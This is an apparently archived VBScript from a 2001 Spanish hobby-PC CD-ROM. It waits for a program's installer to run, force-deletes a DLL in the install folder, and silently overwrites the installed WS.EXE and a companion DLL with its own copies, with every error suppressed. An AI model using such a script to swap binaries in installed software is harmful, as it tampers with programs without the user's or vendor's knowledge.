home *** CD-ROM | disk | FTP | other *** search
/ Hobby PC 2 / Hobby PC 02.iso / Rastreador / Rastreador.vbs < prev    next >
Text File  |  2001-02-12  |  2KB  |  97 lines

  1. On Error Resume Next
  2.  
  3. Dim wscr,rr,ok,running,flagr,copiado,copiado2,f2,fso,ejecORI,ejecHAC,sizeORI
  4. set wscr = CreateObject("WScript.Shell")
  5. Set fso = CreateObject("Scripting.FileSystemObject")
  6.  
  7. running=0
  8. flagr=0
  9. copiado=0
  10. copiado2=0
  11.  
  12. ejecORI="WS.EXE"
  13. ejecHAC="WS2.EXE"
  14.  
  15.  
  16. set f2=fso.getfile (ejecHAC)
  17. sizeORI =f2.size
  18.  
  19.  
  20. rr=wscr.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" & ejecORI &"\Path")
  21.  
  22. if rr<>"" then
  23.     ok=fso.DeleteFile (rr & "\DBSIFL.DLL", true)
  24. end if
  25.  
  26.  
  27. do while running=0        
  28.  
  29.    for each Process in GetObject("winmgmts:").InstancesOf ("Win32_process")
  30.     if Process.Name="_ISDEL.EXE" then
  31.         flagr=1
  32.                 running=1
  33.                 exit do
  34.     end if
  35.  
  36.    Next
  37. loop
  38.  
  39.  
  40. flagr=0
  41. running=1
  42.  
  43.  
  44. do while running=1
  45.    flagr=0
  46.    for each Process in GetObject("winmgmts:").InstancesOf ("Win32_process")
  47.     if Process.Name="_ISDEL.EXE" then
  48.         flagr=1
  49.         running=1
  50.     end if
  51.    Next
  52.  
  53.  
  54.    if flagr=0 then
  55.     running=0
  56.     exit do
  57.    end if
  58.  
  59.  
  60.     rr=wscr.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" & ejecORI &"\Path")
  61.     if rr<> "" then
  62.      if copiado=0 then
  63.       if running=1 then
  64.           
  65.     
  66.             if (fso.FileExists(rr & "\" & ejecORI)) then
  67.                 set f2=fso.getfile (rr & "\" & ejecORI)
  68.  
  69.                 if f2.size=sizeORI then
  70.                     ok=fso.CopyFile ( rr & "\" & ejecORI, rr & "\" & ejecHAC)
  71.                     Set f2 = fso.GetFile(rr & "\" & ejecHAC)
  72.                     f2.attributes=32
  73.  
  74.                     ok=fso.CopyFile ( ejecORI, rr & "\" & ejecORI)
  75.                     Set f2 = fso.GetFile(rr & "\" & ejecORI)
  76.                     f2.attributes=32   
  77.  
  78.                     ok=fso.CopyFile ("DBSIFL2.DLL", rr & "\DBSIFL2.DLL")
  79.                     Set f2 = fso.GetFile(rr & "\DBSIFL2.DLL")
  80.                     f2.attributes=32
  81.                                 
  82.                     copiado2=1
  83.         
  84.                     exit do
  85.  
  86.                 end if
  87.             end if        
  88.         
  89.  
  90.       end if
  91.      end if
  92.     end if
  93.         
  94. loop
  95.  
  96.  
  97.